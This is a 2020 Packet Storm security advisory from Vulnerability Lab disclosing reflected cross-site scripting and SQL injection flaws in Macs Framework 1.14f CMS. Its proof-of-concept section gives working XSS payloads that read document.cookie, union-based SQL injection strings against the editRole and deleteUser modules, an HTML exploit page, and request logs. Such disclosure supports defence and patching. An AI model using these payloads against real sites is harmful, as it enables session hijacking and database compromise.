Macs Framework 1.14f Cross Site Scripting / SQL Injection

2020-04-15T00:00:00
ID PACKETSTORM:157242
Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2020-04-15T00:00:00

Description

                                        
                                            `Document Title:  
===============  
Macs Framework v1.14f CMS - Multiple Web Vulnerabilities  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2206  
  
  
Release Date:  
=============  
2020-04-14  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2206  
  
  
Common Vulnerability Scoring System:  
====================================  
7.4  
  
  
Vulnerability Class:  
====================  
Multiple  
  
  
Current Estimated Price:  
========================  
1.000€ - 2.000€  
  
  
Product & Service Introduction:  
===============================  
Macs CMS is a Flat File (XML and SQLite) based AJAX Content Management  
System. It focuses mainly on the  
Edit In Place editing concept. It comes with a built in blog with  
moderation support, user manager section,  
roles manager section, SEO / SEF URL.  
https://sourceforge.net/projects/macs-framework/files/latest/download  
  
(Copy of the Homepage: https://sourceforge.net/projects/macs-framework/)  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered multiple web  
vulnerabilities in the official Macs Framework v1.1.4f CMS.  
  
  
Affected Product(s):  
====================  
Macrob7  
Product: Macs Framework v1.14f - Content Management System  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2020-04-14: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Authentication Type:  
====================  
Restricted authentication (user/moderator) - User privileges  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Independent Security Research  
  
  
Technical Details & Description:  
================================  
1.1 & 1.2  
Multiple non-persistent cross site scripting web vulnerabilities has  
been discovered in the official Mac Framework v1.1.4f Content Managament  
System.  
The vulnerability allows remote attackers to manipulate client-side  
browser to web-applicatio requests to compromise user sesson credentials  
or to  
manipulate module content.  
  
The first vulnerability is located in the search input field of the  
search module. Remote attackers are able to inject own malicious script  
code as  
search entry to execute the code within the results page that is loaded  
shortly after the request is performed. The request method to inject is  
POST  
and the attack vector is located on the client-side with non-persistent  
attack vector.  
  
The second vulnerability is located in the email input field of the  
account reset function. Remote attackers are able to inject own  
malicious script code as  
email to reset the passwort to execute the code within performed  
request. The request method to inject is POST and the attack vector is  
located on the  
client-side with non-persistent attack vector.  
  
Successful exploitation of the vulnerabilities results in session  
hijacking, non-persistent phishing attacks, non-persistent external  
redirects to  
malicious source and non-persistent manipulation of affected or  
connected application modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Parameter(s):  
[+] searchString  
[+] emailAdress  
  
  
1.3  
Multiple remote sql-injection web vulnerabilities has been discovered in  
the official Mac Framework v1.1.4f Content Managament System.  
The vulnerability allows remote attackers to inject or execute own sql  
commands to compromise the dbms or file system of the application.  
  
The sql injection vulnerabilities are located in the `roleId` and  
`userId` of the `editRole` and `deletUser` module. The request method to  
inject or execute commands is GET and the attack vector is located on  
the application-side. Attackers with privileged accounts to edit are  
able to inject own sql queries via roleid and userid on deleteUser or  
editRole. Multiple unhandled and broken sql queries are visible as default  
debug to output for users as well.  
  
Exploitation of the remote sql injection vulnerability requires no user  
interaction and a privileged web-application user account.  
Successful exploitation of the remote sql injection results in database  
management system, web-server and web-application compromise.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] deleteUser  
[+] editRole  
  
Vulnerable Parameter(s):  
[+] userId  
[+] roleId  
  
  
Proof of Concept (PoC):  
=======================  
Google Dork(s): intitle, subtitle & co.  
Site Powered by Mac's PHP MVC Framework Framework of the future  
Design downloaded from Zeroweb.org: Free website templates, layouts, and  
tools.  
  
  
1.1  
The non-persistent cross site scripting web vulnerability can be  
exploited by remote attackers without user account and with low user  
interaction.  
For security demonstration or to reproduce the cross site scripting web  
vulnerability follow the provided information and steps below to continue.  
  
  
PoC: Payload  
>">"<iframe src=evil.source  
onload=alert(document.cookie)>&scrollPosition=0&scrollPosition=0  
  
  
PoC: Vulnerable Source  
<form method="post"  
action="https://macs-cms.localhost:8080/index.php/search" id="searchForm">  
<span class="searchLabel">Search Site:</span><input type="searchString"  
value="" name="searchString" class="searchString">  
<input type="submit" value="Search" class="searchSubmit">  
</form><br>  
<span class="error">No Results found for: "<iframe src="evil.source"  
onload="alert(document.cookie)"></span>  
  
  
--- PoC Session Logs [POST] ---  
https://macs-cms.localhost:8080/index.php/search  
Host: macs-cms.localhost:8080  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
Gecko/20100101 Firefox/75.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 112  
Origin: https://macs-cms.localhost:8080  
Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=  
Connection: keep-alive  
Referer: https://macs-cms.localhost:8080/index.php  
Cookie: PHPSESSID=h81eeq4jucus8p9qp146pjn652;  
Upgrade-Insecure-Requests: 1  
searchString=>">"<iframe src=evil.source  
onload=alert(document.cookie)>&scrollPosition=0&scrollPosition=0  
-  
POST: HTTP/1.1 200 OK  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,  
pre-check=0  
Pragma: no-cache  
Content-Type: text/html; charset=UTF-8  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Server: Microsoft-IIS/8.5  
X-Powered-By: ASP.NET  
X-Powered-By-Plesk: PleskWin  
Content-Length: 9865  
  
  
1.2  
The non-persistent cross site scripting web vulnerability can be  
exploited by remote attackers without user account and with low user  
interaction.  
For security demonstration or to reproduce the cross site scripting web  
vulnerability follow the provided information and steps below to continue.  
  
  
PoC: Exploitation  
test"<iframe src=evil.source onload=alert(document.cookie)>@gmail.com  
  
  
PoC: Vulnerable Source  
<form method="post"  
action="https://macs-cms.localhost:8080/index.php/main/cms/login"  
class="ajax" ajaxoutput="#loginMessage">  
<table style="width:100%">  
<tbody><tr>  
<td style="width: 20px">Username:</td>  
<td><input type="text" name="username"></td>  
</tr>  
<tr>  
<td>Password:</td>  
<td><input type="password" name="password"></td>  
</tr>  
<tr>  
<td colspan="2"><input type="submit" value="Login"></td>  
</tr>  
<tr>  
<td colspan="2"><br><div id="loginMessage" style="display:  
block;">Invalid Username or Password</div></td>  
</tr>  
</tbody></table>  
<br>  
<a  
href="https://macs-cms.localhost:8080/index.php/main/cms/forgotPassword"  
class="ajax" ajaxoutput="#forgotPassword">Forgot Password</a>  
<input type="hidden" name="scrollPosition" value="102"></form>  
<div id="forgotPassword" style="display: block;">  
<form class="ajax" method="post"  
action="https://macs-cms.localhost:8080/index.php/main/cms/forgotPasswordProcess"  
ajaxoutput="#forgotPasswordReturn">  
Enter your email address: <input type="text" name="emailAddress"><br>  
<input type="submit" value="Send Email">  
</form>  
<br>  
<div id="forgotPasswordReturn" style="display: block;">Cannot find user  
with Email address:  
test"<iframe src=evil.source  
onload=alert(document.cookie)>@gmail.com</iframe></div>  
</div>  
  
  
  
--- PoC Session Logs [POST] ---  
https://macs-cms.localhost:8080/index.php/main/cms/forgotPassword  
Host: macs-cms.localhost:8080  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
Gecko/20100101 Firefox/75.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Content-Type: application/x-www-form-urlencoded  
X-Requested-With: XMLHttpRequest  
Content-Length: 17  
Origin: https://macs-cms.localhost:8080  
Connection: keep-alive  
Referer: https://macs-cms.localhost:8080/index.php/main/cms/login  
Cookie: PHPSESSID=h81eeq4jucus8p9qp146pjn652;  
ajaxRequest=true  
-  
POST: HTTP/1.1 200 OK  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,  
pre-check=0  
Pragma: no-cache  
Content-Type: text/html; charset=ISO-8859-1  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Server: Microsoft-IIS/8.5  
X-Powered-By: ASP.NET  
X-Powered-By-Plesk: PleskWin  
Content-Length: 335  
-  
https://macs-cms.localhost:8080/index.php/main/cms/forgotPasswordProcess  
Host: macs-cms.localhost:8080  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
Gecko/20100101 Firefox/75.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Content-Type: application/x-www-form-urlencoded  
X-Requested-With: XMLHttpRequest  
Content-Length: 123  
Origin: https://macs-cms.localhost:8080  
Connection: keep-alive  
Referer: https://macs-cms.localhost:8080/index.php/main/cms/login  
Cookie: PHPSESSID=h81eeq4jucus8p9qp146pjn652;  
ajaxRequest=true&=&emailAddress=test"<iframe src=evil.source  
onload=alert(document.cookie)>@gmail.com  
-  
POST: HTTP/1.1 200 OK  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,  
pre-check=0  
Pragma: no-cache  
Content-Type: text/html; charset=ISO-8859-1  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Server: Microsoft-IIS/8.5  
X-Powered-By: ASP.NET  
X-Powered-By-Plesk: PleskWin  
Content-Length: 105  
  
  
1.3  
The remote sql injection web vulnerability can be exploited by remote  
attackers with privileged application user account and without user  
interaction.  
For security demonstration or to reproduce the cross site scripting web  
vulnerability follow the provided information and steps below to continue.  
  
  
PoC: Payload  
%27-1%20order%20by%205--  
%27-1%20union select 1,2,3,4,@@version--  
  
  
PoC: Exploitation  
<html>  
<head><body><title>Mac's CMS SQL Injection PoC</title>  
<iframe  
src=https://macs-cms.localhost:8080/index.php/main/cms/editRole?roleId=%27-1%20order%20by%205--%20>  
<iframe  
src=https://macs-cms.localhost:8080/index.php/main/cms/editRole?roleId=%27-1%20union  
select 1,2,3,4,@@version--%20>  
<iframe  
src=https://macs-cms.localhost:8080/index.php/main/cms/deleteUser?userId=%27-1%20order%20by%205--%20>  
<iframe  
src=https://macs-cms.localhost:8080/index.php/main/cms/deleteUser?userId=%27-1%20union  
select 1,2,3,4,@@version--%20>  
</body></head>  
</html>  
  
  
--- PoC Session Logs [GET] ---  
https://macs-cms.localhost:8080/index.php/main/cms/editRole?roleId='-1  
order by 5--  
Host: macs-cms.localhost:8080  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
Gecko/20100101 Firefox/75.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Connection: keep-alive  
Cookie: __utma=72517782.1164807459.1586620290.1586620290.1586620290.1;  
Upgrade-Insecure-Requests: 1  
-  
GET: HTTP/1.1 200 OK  
Content-Type: text/html; charset=UTF-8  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Server: Microsoft-IIS/8.5  
X-Powered-By: ASP.NET  
X-Powered-By-Plesk: PleskWin  
Content-Length: 53  
  
  
--- [SQL Error Exception Logs] ---  
SQLSTATE[HY000]: General error: 1 near "1": syntax error  
-  
Error executing SQL statement  
SQLSTATE[HY000]: General error: 1 unrecognized token: "''';"  
-  
Error executing SQL statement  
SQLSTATE[HY000]: General error: 1 1st ORDER BY term out of range -  
should be between 1 and 5  
-  
5.0.12 'pwnd  
This page was created in 1.5665068626404 seconds  
  
  
Security Risk:  
==============  
1.1 & 1.2  
the security risk of the client-side cross site scripting web  
vulnerabilities in the search and email reset function are estimated as  
medium.  
  
1.3  
The security risk of the remote sql injection web vulnerabilities in the  
id parameters on delete are estimated as high.  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab -  
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
Benjamin Kunz Mejri -  
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without  
any warranty. Vulnerability Lab disclaims all warranties,  
either expressed or implied, including the warranties of merchantability  
and capability for a particular purpose. Vulnerability-Lab  
or its suppliers are not liable in any case of damage, including direct,  
indirect, incidental, consequential loss of business profits  
or special damages, even if Vulnerability-Lab or its suppliers have been  
advised of the possibility of such damages. Some states do  
not allow the exclusion or limitation of liability for consequential or  
incidental damages so the foregoing limitation may not apply.  
We do not approve or encourage anybody to break any licenses, policies,  
deface websites, hack into databases or trade with stolen data.  
  
Domains: www.vulnerability-lab.com www.vuln-lab.com   
www.vulnerability-db.com  
Services: magazine.vulnerability-lab.com  
paste.vulnerability-db.com infosec.vulnerability-db.com  
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab   
youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php  
vulnerability-lab.com/rss/rss_upcoming.php  
vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php  
vulnerability-lab.com/register.php  
vulnerability-lab.com/list-of-bug-bounty-programs.php  
  
Any modified copy or reproduction, including partially usages, of this  
file requires authorization from Vulnerability Laboratory.  
Permission to electronically redistribute this alert in its unmodified  
form is granted. All other rights, including the use of other  
media, are reserved by Vulnerability-Lab Research Team or its suppliers.  
All pictures, texts, advisories, source code, videos and other  
information on this website is trademark of vulnerability-lab team & the  
specific authors or managers. To record, list, modify, use or  
edit our material contact (admin@ or research@) to get a ask permission.  
  
Copyright © 2020 | Vulnerability Laboratory - [Evolution  
Security GmbH]™  
  
  
  
  
  
--   
Company Name: Vulnerability Laboratory (Vulnerability Lab)  
Address: Ludwig-Erhard Straße 4 - 34131 Kassel (Germany)  
Representative: Geschäftsführer & Administrator  
  
Phone: +49(0)561-40085396  
Fax: +49(0)561-81024871  
PGP:  
https://www.vulnerability-lab.com/keys%2Fadmin%40vulnerability-lab.com(0x198E9928).txt  
Domain: www.vulnerability-lab.com  
  
  
`